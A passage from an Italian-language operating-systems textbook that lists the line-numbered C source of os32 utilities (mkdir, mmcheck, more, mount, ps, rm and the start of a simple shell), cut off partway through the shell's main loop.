4780032   extern int      optopt;
4780033   //
4780034   // There must be at least an argument, plus the program name.
4780035   //
4780036   if (argc < 2)
4780037     {
4780038       usage ();
4780039       return (1);
4780040     }
4780041   //
4780042   // Check for options, starting from 'p'. The 'dir' pointer is used
4780043   // to calculate the argument pointer to the first directory [1].
4780044   // The macro-instruction 'max()' is declared inside <sys/os32.h>
4780045   // and does the expected thing.
4780046   //
4780047   while ((opt = getopt (argc, argv, ":pm:")) != -1)
4780048     {
4780049       switch (opt)
4780050         {
4780051         case 'm':
4780052           option_m = 1;
4780053           for (m = 0; m < strlen (optarg); m++)
4780054             {
4780055               digit = (optarg[m] - '0');
4780056               if (digit < 0 || digit > 7)
4780057                 {
```

```
4780058                     usage ();
4780059                     return (2);
4780060                   }
4780061                 mode = mode * 8 + digit;
4780062               }
4780063             break;
4780064           case 'p':
4780065             option_p = 1;
4780066             break;
4780067           case '?':
4780068             printf ("Unknown option -%c.\n", optopt);
4780069             usage ();
4780070             return (1);
4780071             break;
4780072           case ':':
4780073             printf ("Missing argument for option -%c\n", optopt);
4780074             usage ();
4780075             return (2);
4780076             break;
4780077           default:
4780078             printf ("Getopt problem: unknown option %c\n", opt);
4780079             return (3);
4780080           }
4780081       }
4780082     //
4780083     dir = argv + optind;
4780084     //
4780085     // Check if the mode is to be set to a default value.
4780086     //
4780087     if (!option_m)
4780088       {
4780089         //
4780090         // Default mode.
4780091         //
4780092         sys (SYS_UAREA, &msg, (sizeof msg));
4780093         mode = 0777 & ~msg.umask;
4780094       }
4780095     //
4780096     // Directory creation.
4780097     //
4780098     for (d = 0; dir[d] != NULL; d++)
4780099       {
4780100         if (option_p)
4780101           {
4780102             status = mkdir_parents (dir[d], mode);
4780103             if (status != 0)
4780104               {
4780105                 perror (dir[d]);
4780106                 return (3);
4780107               }
4780108           }
4780109         else
```

```
4780110              {
4780111                status = mkdir (dir[d], mode);
4780112                if (status != 0)
4780113                  {
4780114                    perror (dir[d]);
4780115                    return (4);
4780116                  }
4780117              }
4780118          }
4780119        //
4780120        // All done.
4780121        //
4780122        return (0);
4780123      }
4780124
4780125      //----------------------------------------------------------------------
4780126      static int
4780127      mkdir_parents (const char *path, mode_t mode)
4780128      {
4780129        char             path_copy[PATH_MAX];
4780130        char            *path_parent;
4780131        struct stat      fst;
4780132        int              status;
4780133        //
4780134        // Check if the path is empty.
4780135        //
4780136        if (path == NULL || strlen (path) == 0)
4780137          {
4780138            //
4780139            // Recursion ends here.
4780140            //
4780141            return (0);
4780142          }
4780143        //
4780144        // Check if it does already exists.
4780145        //
4780146        status = stat (path, &fst);
4780147        if (status == 0 && fst.st_mode & S_IFDIR)
4780148          {
4780149            //
4780150            // The path exists and is a directory.
4780151            //
4780152            return (0);
4780153          }
4780154        else if (status == 0 && !(fst.st_mode & S_IFDIR))
4780155          {
4780156            //
4780157            // The path exists but is not a directory.
4780158            //
4780159            errno = ENOTDIR;          // Not a directory.
4780160            return (-1);
4780161          }
```

```
4780162     //
4780163     // Get the directory path.
4780164     //
4780165     strncpy (path_copy, path, PATH_MAX);
4780166     path_parent = dirname (path_copy);
4780167     //
4780168     // If it is `.', or `/', the recursion is terminated.
4780169     //
4780170     if (strncmp (path_parent, ".", PATH_MAX) == 0 ||
4780171         strncmp (path_parent, "/", PATH_MAX) == 0)
4780172       {
4780173         return (0);
4780174       }
4780175     //
4780176     // Otherwise, continue the recursion.
4780177     //
4780178     status = mkdir_parents (path_parent, mode);
4780179     if (status != 0)
4780180       {
4780181         return (-1);
4780182       }
4780183     //
4780184     // Previous directories are there: create the current one.
4780185     //
4780186     status = mkdir (path, mode);
4780187     if (status)
4780188       {
4780189         perror (path);
4780190         return (-1);
4780191       }
4780192 
4780193     return (0);
4780194 }
4780195 
4780196 //----------------------------------------------------------------------
4780197 static void
4780198 usage (void)
4780199 {
4780200   fprintf (stderr, "Usage: mkdir [-p] [-m OCTAL_MODE] DIR...\n");
4780201 }
```

121.1.23 applic/mmcheck.c

Si veda la sezione 111.18.

```
4790001 #include <sys/os32.h>
4790002 #include <kernel/memory.h>
4790003 #include <kernel/proc.h>
4790004 #include <unistd.h>
4790005 #include <stdio.h>
4790006 #include <fcntl.h>
```

```
4790007 #include <unistd.h>
4790008 #include <stdlib.h>
4790009 //----------------------------------------------------------------------
4790010 uint32_t        mb_table[MEM_MAX_BLOCKS / 32];  // Memory blocks map.
4790011 unsigned int    mb_max = MEM_MAX_BLOCKS;        // Memory blocks max.
4790012 proc_t          process;
4790013 //----------------------------------------------------------------------
4790014 static int      mb_block_set0 (int block);
4790015 static void     mb_check (pid_t pid, addr_t address, size_t size);
4790016 static void     mb_residual (void);
4790017 //----------------------------------------------------------------------
4790018 int
4790019 main (int argc, char *argv[], char *envp[])
4790020 {
4790021   int              i;
4790022   int              fd;
4790023   ssize_t          size_read;
4790024   char            *buffer;
4790025   pid_t            pid;
4790026   proc_t          *ps;
4790027   //
4790028   // Get memory map.
4790029   //
4790030   fd = open ("/dev/kmem_map", O_RDONLY);
4790031   if (fd < 0)
4790032     {
4790033       printf ("[%s] Cannot open \"/dev/kmem_map\" ", argv[0]);
4790034       perror (NULL);
4790035       return (0);
4790036     }
4790037   //
4790038   buffer = (char *) mb_table;
4790039   lseek (fd, (off_t) 0, SEEK_SET);
4790040   for (i = 0; i < (MEM_MAX_BLOCKS / 8); i += size_read)
4790041     {
4790042       size_read = read (fd, &buffer[i], BUFSIZ);
4790043       if (size_read < 0)
4790044         {
4790045           printf ("[%s] Cannot read \"/dev/kmem_map\" %i %i  ",
4790046                   argv[0], size_read, sizeof (mb_table));
4790047           perror (NULL);
4790048           return (0);
4790049         }
4790050     }
4790051   //
4790052   close (fd);
4790053   //
4790054   // Scan processes
4790055   //
4790056   buffer = (char *) &process;
4790057   //
4790058   fd = open ("/dev/kmem_ps", O_RDONLY);
```

```
4790059     if (fd < 0)
4790060       {
4790061         printf ("[%s] Cannot open \"/dev/kmem_ps\" ", argv[0]);
4790062         perror (NULL);
4790063         exit (0);
4790064       }
4790065     //
4790066     // Scan processes.
4790067     //
4790068     for (pid = 0; pid < PROCESS_MAX; pid++)
4790069       {
4790070         lseek (fd, (off_t) pid, SEEK_SET);
4790071         size_read = read (fd, buffer, sizeof (proc_t));
4790072         if (size_read < sizeof (proc_t))
4790073           {
4790074             printf ("[%s] Cannot read \"/dev/kmem_ps\" pid %i ",
4790075                     argv[0], pid);
4790076             perror (NULL);
4790077             continue;
4790078           }
4790079         ps = (proc_t *) buffer;
4790080         if (ps->status > 0)
4790081           {
4790082             //
4790083             //
4790084             //
4790085             if (ps->domain_data == 0)
4790086               {
4790087                 mb_check (pid, ps->address_text,
4790088                           ps->domain_text + ps->extra_data);
4790089               }
4790090             else
4790091               {
4790092                 mb_check (pid, ps->address_text, ps->domain_text);
4790093                 mb_check (pid, ps->address_data,
4790094                           ps->domain_data + ps->extra_data);
4790095               }
4790096           }
4790097       }
4790098     close (fd);
4790099     //
4790100     // Check residual allocation, if any.
4790101     //
4790102     mb_residual ();
4790103     //
4790104     return (0);
4790105   }
4790106
4790107   //----------------------------------------------------------------------
4790108   static void
4790109   mb_check (pid_t pid, addr_t address, size_t size)
4790110   {
```

```
4790111     unsigned int    bstart;
4790112     unsigned int    bsize;
4790113     unsigned int    bend;
4790114     unsigned int    i;
4790115     addr_t          block_address;
4790116     //
4790117     //  k_printf ("releasing 0x%x, size 0x%x\n", (int) address,
4790118     //            (int) size);
4790119     //
4790120     if (size == 0)
4790121       {
4790122         //
4790123         // Zero means nothing.
4790124         //
4790125         return;
4790126       }
4790127     //
4790128     if (size % MEM_BLOCK_SIZE)
4790129       {
4790130         bsize = size / MEM_BLOCK_SIZE + 1;
4790131       }
4790132     else
4790133       {
4790134         bsize = size / MEM_BLOCK_SIZE;
4790135       }
4790136     //
4790137     bstart = address / MEM_BLOCK_SIZE;
4790138     bend = bstart + bsize;
4790139     //
4790140     //
4790141     //
4790142     for (i = bstart; i < bend; i++)
4790143       {
4790144         if (mb_block_set0 (i))
4790145           {
4790146             ;
4790147           }
4790148         else
4790149           {
4790150             block_address = i;
4790151             block_address *= MEM_BLOCK_SIZE;
4790152             printf ("PID %i is using memory address 0x%x, "
4790153                     "but it is reported free or already used by "
4790154                     "another process!\n",
4790155                     (int) pid, (unsigned int) block_address);
4790156           }
4790157       }
4790158   }
4790159
4790160   //------------------------------------------------------------------------
4790161   static int
4790162   mb_block_set0 (int block)
```

```
4790163 {
4790164   int              i = block / 32;
4790165   int              j = block % 32;
4790166   uint32_t         mask = 0x80000000 >> j;
4790167   if (mb_table[i] & mask)
4790168     {
4790169       mb_table[i] = mb_table[i] & ~mask;
4790170       return (1);
4790171     }
4790172   else
4790173     {
4790174       return (0);               // The block is already set to 0 inside the map!
4790175     }
4790176 }
4790177
4790178 //----------------------------------------------------------------------
4790179 static void
4790180 mb_residual (void)
4790181 {
4790182   unsigned int     block;
4790183   unsigned int     blocks = MEM_MAX_BLOCKS;
4790184   int              i;
4790185   int              j;
4790186   uint32_t         mask;
4790187   unsigned int     start = 0;
4790188   unsigned int     stop = 0;
4790189   unsigned int     status = 0;
4790190   //
4790191   // Show residual allocated memory.
4790192   //
4790193   for (block = 0; block < blocks; block++)
4790194     {
4790195       i = block / 32;
4790196       j = block % 32;
4790197       mask = 0x80000000 >> j;
4790198       if (mb_table[i] & mask)
4790199         {
4790200           //
4790201           // Allocated block
4790202           //
4790203           if (status == 0)
4790204             {
4790205               status = 1;
4790206               start = block;
4790207             }
4790208         }
4790209       else
4790210         {
4790211           //
4790212           // Not allocated block.
4790213           //
4790214           if (status == 1)
```

```
4790215                 {
4790216                   status = 0;
4790217                   stop = block;
4790218                 }
4790219             }
4790220           //
4790221           //
4790222           //
4790223           if (stop > 0)
4790224             {
4790225               printf ("residual allocation: %x-%x  ", start, stop);
4790226               start = 0;
4790227               stop = 0;
4790228             }
4790229         }
4790230     printf ("\n");
4790231 }
```

121.1.24 applic/more.c

Si veda la sezione 111.19.

```
4800001 #include <unistd.h>
4800002 #include <errno.h>
4800003 //----------------------------------------------------------------------
4800004 #define MAX_LINES   20
4800005 #define MAX_COLUMNS 80
4800006 //----------------------------------------------------------------------
4800007 static void     usage (void);
4800008 //----------------------------------------------------------------------
4800009 int
4800010 main (int argc, char *argv[], char *envp[])
4800011 {
4800012   FILE           *fp;
4800013   char           *name;
4800014   int             c;
4800015   int             line = 1;     // Line internal counter.
4800016   int             column = 1;   // Column internal counter.
4800017   int             a;            // Index inside arguments.
4800018   int             loop;
4800019   //
4800020   // There must be at least an argument, plus the program name.
4800021   //
4800022   if (argc < 2)
4800023     {
4800024       usage ();
4800025       return (1);
4800026     }
4800027   //
4800028   // No options are allowed.
4800029   //
```

```
4800030     for (a = 1; a < argc; a++)
4800031       {
4800032         //
4800033         // Get next name from arguments.
4800034         //
4800035         name = argv[a];
4800036         //
4800037         // Try to open the file, read only.
4800038         //
4800039         fp = fopen (name, "r");
4800040         //
4800041         if (fp == NULL)
4800042           {
4800043             //
4800044             // Error opening file.
4800045             //
4800046             perror (name);
4800047             return (1);
4800048           }
4800049         //
4800050         // Print the file name to be displayed.
4800051         //
4800052         printf ("== %s ==\n", name);
4800053         line++;
4800054         //
4800055         // The following loop continues while the file
4800056         // gives characters, or when a command to change
4800057         // file or to quit is given.
4800058         //
4800059         for (loop = 1; loop;)
4800060           {
4800061             //
4800062             // Read a single character.
4800063             //
4800064             c = getc (fp);
4800065             //
4800066             if (c == EOF)
4800067               {
4800068                 loop = 0;
4800069                 break;
4800070               }
4800071             //
4800072             // If the character read is a special one,
4800073             // the line/column calculation is modified,
4800074             // so that it is known when to stop scrolling.
4800075             //
4800076             switch (c)
4800077               {
4800078               case '\r':
4800079                 //
4800080                 // Displaying this character, the cursor should go
4800081                 // back to the first column. So the column counter
```

```
4800082                     // is reset.
4800083                     //
4800084                     column = 1;
4800085                     break;
4800086                   case '\n':
4800087                     //
4800088                     // Displaying this character, the cursor should go
4800089                     // back to the next line, at the first column.
4800090                     // So the column counter is reset and the line
4800091                     // counter is incremented.
4800092                     //
4800093                     line++;
4800094                     column = 1;
4800095                     break;
4800096                   case '\b':
4800097                     //
4800098                     // Displaying this character, the cursor should go
4800099                     // back one position, unless it is already at the
4800100                     // beginning.
4800101                     //
4800102                     if (column > 1)
4800103                       {
4800104                         column--;
4800105                       }
4800106                     break;
4800107                   default:
4800108                     //
4800109                     // Any other character must increase the column
4800110                     // counter.
4800111                     //
4800112                     column++;
4800113                 }
4800114               //
4800115               // Display the character, even if it is a special one:
4800116               // it is responsibility of the screen device management
4800117               // to do something good with special characters.
4800118               //
4800119               putchar (c);
4800120               //
4800121               // If the column counter is gone beyond the screen columns,
4800122               // then adjust the column counter and increment the line
4800123               // counter.
4800124               //
4800125               if (column > MAX_COLUMNS)
4800126                 {
4800127                   column -= MAX_COLUMNS;
4800128                   line++;
4800129                 }
4800130               //
4800131               // Check if there is space for scrolling.
4800132               //
4800133               if (line < MAX_LINES)
```

```
4800134                 {
4800135                   continue;
4800136                 }
4800137               //
4800138               // Here, displayed lines are MAX_LINES.
4800139               //
4800140               if (column > 1)
4800141                 {
4800142                   //
4800143                   // Something was printed at the current line: must
4800144                   // do a new line.
4800145                   //
4800146                   putchar ('\n');
4800147                 }
4800148               //
4800149               // Show the more prompt.
4800150               //
4800151               printf ("--More--");
4800152               fflush (stdout);
4800153               //
4800154               // Read a character from standard input.
4800155               //
4800156               c = getchar ();
4800157               //
4800158               // Consider commands 'n' and 'q', but any other character
4800159               // can be introduced, to let show the next page.
4800160               //
4800161               switch (c)
4800162                 {
4800163                 case 'N':
4800164                 case 'n':
4800165                   //
4800166                   // Go to the next file, if any.
4800167                   //
4800168                   fclose (fp);
4800169                   fp = NULL;
4800170                   loop = 0;
4800171                   break;
4800172                 case 'Q':
4800173                 case 'q':
4800174                   //
4800175                   // Quit. But must erase the '--More--' prompt.
4800176                   //
4800177                   printf ("\b \b\b \b\b \b\b \b\b \b");
4800178                   printf ("\b \b\b \b\b \b");
4800179                   fclose (fp);
4800180                   return (0);
4800181                 }
4800182               //
4800183               // Backspace to overwrite '--More--' and the character
4800184               // pressed.
4800185               //
```

```
4800186             printf ("\b \b\b \b\b \b\b \b\b \b\b \b\b \b\b \b\b \b");
4800187             //
4800188             // Reset line/column counters.
4800189             //
4800190             column = 1;
4800191             line = 1;
4800192           }
4800193         //
4800194         // Close the file pointer if it is still open.
4800195         //
4800196         if (fp != NULL)
4800197           {
4800198             fclose (fp);
4800199           }
4800200       }
4800201     //
4800202     return (0);
4800203 }
4800204
4800205 //----------------------------------------------------------------------
4800206 static void
4800207 usage (void)
4800208 {
4800209   fprintf (stderr, "Usage: more FILE...\n");
4800210 }
```

121.1.25 applic/mount.c

Si veda la sezione 117.4.

```
4810001 #include <unistd.h>
4810002 #include <stdlib.h>
4810003 #include <sys/stat.h>
4810004 #include <sys/types.h>
4810005 #include <fcntl.h>
4810006 #include <errno.h>
4810007 #include <signal.h>
4810008 #include <stdio.h>
4810009 #include <sys/wait.h>
4810010 #include <stdio.h>
4810011 #include <string.h>
4810012 #include <limits.h>
4810013 #include <sys/os32.h>
4810014 //----------------------------------------------------------------------
4810015 static void      usage (void);
4810016 //----------------------------------------------------------------------
4810017 int
4810018 main (int argc, char *argv[], char *envp[])
4810019 {
4810020   int              options;
4810021   int              status;
```

```
4810022     //
4810023     //
4810024     //
4810025     if (argc < 3 || argc > 4)
4810026       {
4810027         usage ();
4810028         return (1);
4810029       }
4810030     //
4810031     // Set options.
4810032     //
4810033     if (argc == 4)
4810034       {
4810035         if (strcmp (argv[3], "rw") == 0)
4810036           {
4810037             options = MOUNT_DEFAULT;
4810038           }
4810039         else if (strcmp (argv[3], "ro") == 0)
4810040           {
4810041             options = MOUNT_RO;
4810042           }
4810043         else
4810044           {
4810045             printf ("Invalid mount option: only \"ro\" or \"rw\" "
4810046                     "are allowed\n");
4810047             return (2);
4810048           }
4810049       }
4810050     else
4810051       {
4810052         options = MOUNT_DEFAULT;
4810053       }
4810054     //
4810055     // System call.
4810056     //
4810057     status = mount (argv[1], argv[2], options);
4810058     if (status != 0)
4810059       {
4810060         perror (NULL);
4810061         return (2);
4810062       }
4810063     //
4810064     return (0);
4810065   }
4810066
4810067   //----------------------------------------------------------------------
4810068   static void
4810069   usage (void)
4810070   {
4810071     fprintf (stderr, "Usage: mount DEVICE MOUNT_POINT "
4810072              "[MOUNT_OPTIONS]\n");
```

```
4810073 }
```

121.1.26 applic/ps.c

Si veda la sezione 111.20.

```
4820001 #include <sys/os32.h>
4820002 #include <kernel/proc.h>
4820003 #include <unistd.h>
4820004 #include <stdio.h>
4820005 #include <fcntl.h>
4820006 #include <unistd.h>
4820007 #include <stdlib.h>
4820008 //----------------------------------------------------------------------
4820009 static void usage (void);
4820010 //----------------------------------------------------------------------
4820011 int
4820012 main (int argc, char *argv[], char *envp[])
4820013 {
4820014   pid_t           pid;
4820015   proc_t         *ps;
4820016   int             fd;
4820017   char            stat;
4820018   ssize_t         size_read;
4820019   char            buffer[sizeof (proc_t)];
4820020   unsigned int    min;
4820021   unsigned int    sec;
4820022   size_t          stack_size;
4820023   addr_t          stack_bottom;
4820024   int             stack_usage;
4820025   //
4820026   int             opt;
4820027 //  extern char   *optarg;              // not used.
4820028 //  extern int      optind;
4820029   extern int      optopt;
4820030   int             option_u = 0;
4820031   int             option_g = 0;
4820032   //
4820033   // Check for options.
4820034   //
4820035   while ((opt = getopt (argc, argv, ":ug")) != -1)
4820036     {
4820037       switch (opt)
4820038         {
4820039         case 'u':
4820040           option_u = 1;
4820041           break;
4820042         case 'g':
4820043           option_g = 1;
4820044           break;
4820045         case '?':
```

```
4820046             fprintf (stderr, "Unknown option -%c.\n", optopt);
4820047             usage ();
4820048             return (1);
4820049             break;
4820050           case ':':
4820051             fprintf (stderr, "Missing argument for option -%c\n", optopt);
4820052             usage ();
4820053             return (1);
4820054             break;
4820055           default:
4820056             fprintf (stderr, "Getopt problem: unknown option %c\n", opt);
4820057             return (1);
4820058           }
4820059       }
4820060     //
4820061     // Fix options `-u' or `-g'.
4820062     //
4820063     if (option_u)
4820064       option_g = 0;
4820065     if (!option_g)
4820066       option_u = 1;
4820067     //
4820068     // Open `/dev/kmem_ps', to get the process table.
4820069     //
4820070     fd = open ("/dev/kmem_ps", O_RDONLY);
4820071     if (fd < 0)
4820072       {
4820073         printf ("[%s] Cannot open \"/dev/kmem_ps\" ", argv[0]);
4820074         perror (NULL);
4820075         exit (0);
4820076       }
4820077     //
4820078     // Print head.
4820079     //
4820080     if (option_u)
4820081       {
4820082         printf ("pp  p pg                                "
4820083                 "T * 0x1000 D * 0x1000 stack        \n"
4820084                 "id id rp  tty  uid euid suid usage s "
4820085                 "addr  size addr  size usage    name\n");
4820086       }
4820087     else
4820088       {
4820089         printf ("pp  p pg                                "
4820090                 "T * 0x1000 D * 0x1000 stack        \n"
4820091                 "id id rp  tty  gid egid sgid usage s "
4820092                 "addr  size addr  size usage    name\n");
4820093       }
4820094     //
4820095     // Scan processes and then print body.
4820096     //
4820097     for (pid = 0; pid < PROCESS_MAX; pid++)
```

```
4820098      {
4820099        lseek (fd, (off_t) pid, SEEK_SET);
4820100        size_read = read (fd, buffer, sizeof (proc_t));
4820101        if (size_read < sizeof (proc_t))
4820102          {
4820103            printf ("[%s] Cannot read \"/dev/kmem_ps\" pid %i ",
4820104                    argv[0], pid);
4820105            perror (NULL);
4820106            continue;
4820107          }
4820108        ps = (proc_t *) buffer;
4820109        if (ps->status > 0)
4820110          {
4820111            ps->name[PATH_MAX - 1] = 0;   // Terminated string.
4820112            //
4820113            // Check the current stack size.
4820114            //
4820115            if (ps->domain_data == 0)
4820116              {
4820117                stack_bottom = ps->domain_text;
4820118              }
4820119            else
4820120              {
4820121                stack_bottom = ps->domain_data;
4820122              }
4820123            //
4820124            stack_size = stack_bottom - ps->sp;
4820125            //
4820126            stack_usage = 100 * stack_size / ps->domain_stack;
4820127            //
4820128            switch (ps->status)
4820129              {
4820130              case PROC_EMPTY:
4820131                stat = '-';
4820132                break;
4820133              case PROC_CREATED:
4820134                stat = 'c';
4820135                break;
4820136              case PROC_READY:
4820137                stat = 'r';
4820138                break;
4820139              case PROC_RUNNING:
4820140                stat = 'R';
4820141                break;
4820142              case PROC_SLEEPING:
4820143                stat = 's';
4820144                break;
4820145              case PROC_ZOMBIE:
4820146                stat = 'z';
4820147                break;
4820148              default:
4820149                stat = '?';
```

```
4820150                 break;
4820151               }
4820152             //
4820153             min = ((ps->usage / CLOCKS_PER_SEC) / 60);
4820154             sec = ((ps->usage / CLOCKS_PER_SEC) % 60);
4820155             //
4820156             // Print the line.
4820157             //
4820158             //
4820159             // Addresses and sizes are multiple of 4096 (0x1000);
4820160             // for the stack pointer is shown only the last five
4820161             // hexadecimal digits.
4820162             //
4820163             if (ps->domain_data > 0)
4820164               {
4820165                 if (option_u)
4820166                   {
4820167                     printf ("%2i %2i %2i %04x %4i %4i %4i %02i.%02i %c "
4820168                             "%05x %04x %05x %04x % 3i%% %15s\n",
4820169                             (unsigned int) ps->ppid,
4820170                             (unsigned int) pid,
4820171                             (unsigned int) ps->pgrp,
4820172                             (unsigned int) ps->device_tty,
4820173                             (unsigned int) ps->uid,
4820174                             (unsigned int) ps->euid,
4820175                             (unsigned int) ps->suid,
4820176                             min, sec, stat,
4820177                             (unsigned int) ps->address_text
4820178                             / MEM_BLOCK_SIZE,
4820179                             (unsigned int) ps->domain_text
4820180                             / MEM_BLOCK_SIZE,
4820181                             (unsigned int) ps->address_data
4820182                             / MEM_BLOCK_SIZE,
4820183                             (unsigned int) (ps->domain_data
4820184                                             + ps->extra_data)
4820185                             / MEM_BLOCK_SIZE,
4820186                             (unsigned int) stack_usage, ps->name);
4820187                   }
4820188                 else
4820189                   {
4820190                     printf ("%2i %2i %2i %04x %4i %4i %4i %02i.%02i %c "
4820191                             "%05x %04x %05x %04x % 3i%% %15s\n",
4820192                             (unsigned int) ps->ppid,
4820193                             (unsigned int) pid,
4820194                             (unsigned int) ps->pgrp,
4820195                             (unsigned int) ps->device_tty,
4820196                             (unsigned int) ps->gid,
4820197                             (unsigned int) ps->egid,
4820198                             (unsigned int) ps->sgid,
4820199                             min, sec, stat,
4820200                             (unsigned int) ps->address_text
4820201                             / MEM_BLOCK_SIZE,
```

```
4820202                             (unsigned int) ps->domain_text
4820203                             / MEM_BLOCK_SIZE,
4820204                             (unsigned int) ps->address_data
4820205                             / MEM_BLOCK_SIZE,
4820206                             (unsigned int) (ps->domain_data
4820207                                             + ps->extra_data)
4820208                             / MEM_BLOCK_SIZE,
4820209                             (unsigned int) stack_usage, ps->name);
4820210                   }
4820211               }
4820212             else
4820213               {
4820214                 if (option_u)
4820215                   {
4820216                     printf ("%2i %2i %2i %04x %4i %4i %4i %02i.%02i %c "
4820217                             "%05x %04x %05x %04x % 3i%% %15s\n",
4820218                             (unsigned int) ps->ppid,
4820219                             (unsigned int) pid,
4820220                             (unsigned int) ps->pgrp,
4820221                             (unsigned int) ps->device_tty,
4820222                             (unsigned int) ps->uid,
4820223                             (unsigned int) ps->euid,
4820224                             (unsigned int) ps->suid,
4820225                             min, sec, stat,
4820226                             (unsigned int) ps->address_text
4820227                             / MEM_BLOCK_SIZE,
4820228                             (unsigned int) (ps->domain_text
4820229                                             + ps->extra_data)
4820230                             / MEM_BLOCK_SIZE,
4820231                             (unsigned int) ps->address_data
4820232                             / MEM_BLOCK_SIZE,
4820233                             (unsigned int) ps->domain_data
4820234                             / MEM_BLOCK_SIZE,
4820235                             (unsigned int) stack_usage, ps->name);
4820236                   }
4820237                 else
4820238                   {
4820239                     printf ("%2i %2i %2i %04x %4i %4i %4i %02i.%02i %c "
4820240                             "%05x %04x %05x %04x % 3i%% %15s\n",
4820241                             (unsigned int) ps->ppid,
4820242                             (unsigned int) pid,
4820243                             (unsigned int) ps->pgrp,
4820244                             (unsigned int) ps->device_tty,
4820245                             (unsigned int) ps->gid,
4820246                             (unsigned int) ps->egid,
4820247                             (unsigned int) ps->sgid,
4820248                             min, sec, stat,
4820249                             (unsigned int) ps->address_text
4820250                             / MEM_BLOCK_SIZE,
4820251                             (unsigned int) (ps->domain_text
4820252                                             + ps->extra_data)
4820253                             / MEM_BLOCK_SIZE,
```

```
4820254                                (unsigned int) ps->address_data
4820255                                / MEM_BLOCK_SIZE,
4820256                                (unsigned int) ps->domain_data
4820257                                / MEM_BLOCK_SIZE,
4820258                                (unsigned int) stack_usage, ps->name);
4820259                   }
4820260               }
4820261           }
4820262       }
4820263     close (fd);
4820264     return (0);
4820265 }
4820266 //----------------------------------------------------------------------
4820267 static void
4820268 usage (void)
4820269 {
4820270     fprintf (stderr, "Usage: ps [-u|g]\n");
4820271 }
```

121.1.27 applic/rm.c

Si veda la sezione 111.21.

```
4830001 #include <fcntl.h>
4830002 #include <sys/stat.h>
4830003 #include <stddef.h>
4830004 #include <unistd.h>
4830005 #include <errno.h>
4830006 //----------------------------------------------------------------------
4830007 static void     usage (void);
4830008 //----------------------------------------------------------------------
4830009 int
4830010 main (int argc, char *argv[], char *envp[])
4830011 {
4830012     int             a;              // Argument index.
4830013     int             status;
4830014     struct stat     file_status;
4830015     //
4830016     // No options are known, but at least an argument must be given.
4830017     //
4830018     if (argc < 2)
4830019       {
4830020         usage ();
4830021         return (1);
4830022       }
4830023     //
4830024     // Scan arguments.
4830025     //
4830026     for (a = 1; a < argc; a++)
4830027       {
4830028         //
```

```
4830029         // Verify if the file exists.
4830030         //
4830031         if (stat (argv[a], &file_status) != 0)
4830032           {
4830033             fprintf (stderr, "File \"%s\" does not exist!\n", argv[a]);
4830034             continue;
4830035           }
4830036         //
4830037         // File exists: check the file type.
4830038         //
4830039         if (S_ISDIR (file_status.st_mode))
4830040           {
4830041             fprintf (stderr, "Cannot remove directory \"%s\"!\n",
4830042                      argv[a]);
4830043             continue;
4830044           }
4830045         //
4830046         // Can remove it.
4830047         //
4830048         status = unlink (argv[a]);
4830049         if (status != 0)
4830050           {
4830051             perror (NULL);
4830052             return (2);
4830053           }
4830054     }
4830055   return (0);
4830056 }
4830057 
4830058 //----------------------------------------------------------------------
4830059 static void
4830060 usage (void)
4830061 {
4830062   fprintf (stderr, "Usage: rm FILE...\n");
4830063 }
```

121.1.28 applic/shell.c

Si veda la sezione 111.22.

```
4840001 #include <unistd.h>
4840002 #include <stdlib.h>
4840003 #include <sys/stat.h>
4840004 #include <sys/types.h>
4840005 #include <fcntl.h>
4840006 #include <errno.h>
4840007 #include <unistd.h>
4840008 #include <signal.h>
4840009 #include <stdio.h>
4840010 #include <sys/wait.h>
4840011 #include <stdio.h>
```

```
4840012 #include <string.h>
4840013 #include <limits.h>
4840014 #include <sys/os32.h>
4840015 //----------------------------------------------------------------------
4840016 #define PROMPT_SIZE     16
4840017 //----------------------------------------------------------------------
4840018 static void     sh_cd (int argc, char *argv[]);
4840019 static void     sh_pwd (int argc, char *argv[]);
4840020 static void     sh_umask (int argc, char *argv[]);
4840021 //----------------------------------------------------------------------
4840022 int
4840023 main (int argc, char *argv[], char *envp[])
4840024 {
4840025   char             buffer_cmd[ARG_MAX / 2];
4840026   char            *argv_cmd[ARG_MAX / 16];
4840027   char             prompt[PROMPT_SIZE];
4840028   uid_t            uid;
4840029   int              argc_cmd;
4840030   pid_t            pid_cmd;
4840031   pid_t            pid_dead;
4840032   int              status;
4840033   //
4840034   //
4840035   //
4840036   uid = geteuid ();
4840037   //
4840038   // Load processes, reading the keyboard.
4840039   //
4840040   while (1)
4840041     {
4840042       if (uid == 0)
4840043         {
4840044           strncpy (prompt, "# ", PROMPT_SIZE);
4840045         }
4840046       else
4840047         {
4840048           strncpy (prompt, "$ ", PROMPT_SIZE);
4840049         }
4840050       //
4840051       input_line (buffer_cmd, prompt, (ARG_MAX / 2), INPUT_LINE_ECHO);
4840052       //
4840053       // Clear `argv_cmd[]';
4840054       //
4840055       for (argc_cmd = 0; argc_cmd < (ARG_MAX / 16); argc_cmd++)
4840056         {
4840057           argv_cmd[argc_cmd] = NULL;
4840058         }
4840059       //
4840060       // Initialize the command scan.
4840061       //
4840062       argv_cmd[0] = strtok (buffer_cmd, " \t");
4840063       //
```

```
4840064         // Verify: if the input is not valid, loop again.
4840065         //
4840066         if (argv_cmd[0] == NULL)
4840067           {
4840068             continue;
4840069           }
4840070         //
4840071         // Find the arguments.
4840072         //
4840073         for (argc_cmd = 1;
4840074              argc_cmd < ((ARG_MAX / 16) - 1)
4840075              && argv_cmd[argc_cmd - 1] != NULL; argc_cmd++)
4840076           {
4840077             argv_cmd[argc_cmd] = strtok (NULL, " \t");
4840078           }
4840079         //
4840080         // If there are too many arguments, show a message and continue.
4840081         //
4840082         if (argv_cmd[argc_cmd - 1] != NULL)
4840083           {
4840084             errset (E2BIG);       // Argument list too long.
4840085             perror (NULL);
4840086             continue;
4840087           }
4840088         //
4840089         // Correct the value for 'argc_cmd', because actually
4840090         // it counts also the NULL element.
4840091         //
4840092         argc_cmd--;
4840093         //
4840094         // Verify if it is an internal command.
4840095         //
4840096         if (strcmp (argv_cmd[0], "exit") == 0)
4840097           {
4840098             return (0);
4840099           }
4840100         else if (strcmp (argv_cmd[0], "cd") == 0)
4840101           {
4840102             sh_cd (argc_cmd, argv_cmd);
4840103             continue;
4840104           }
4840105         else if (strcmp (argv_cmd[0], "pwd") == 0)
4840106           {
4840107             sh_pwd (argc_cmd, argv_cmd);
4840108             continue;
4840109           }
4840110         else if (strcmp (argv_cmd[0], "umask") == 0)
4840111           {
4840112             sh_umask (argc_cmd, argv_cmd);
4840113             continue;
4840114           }
4840115         //
```

```
4840116          // It should be a program to run.
4840117          //
4840118          pid_cmd = fork ();
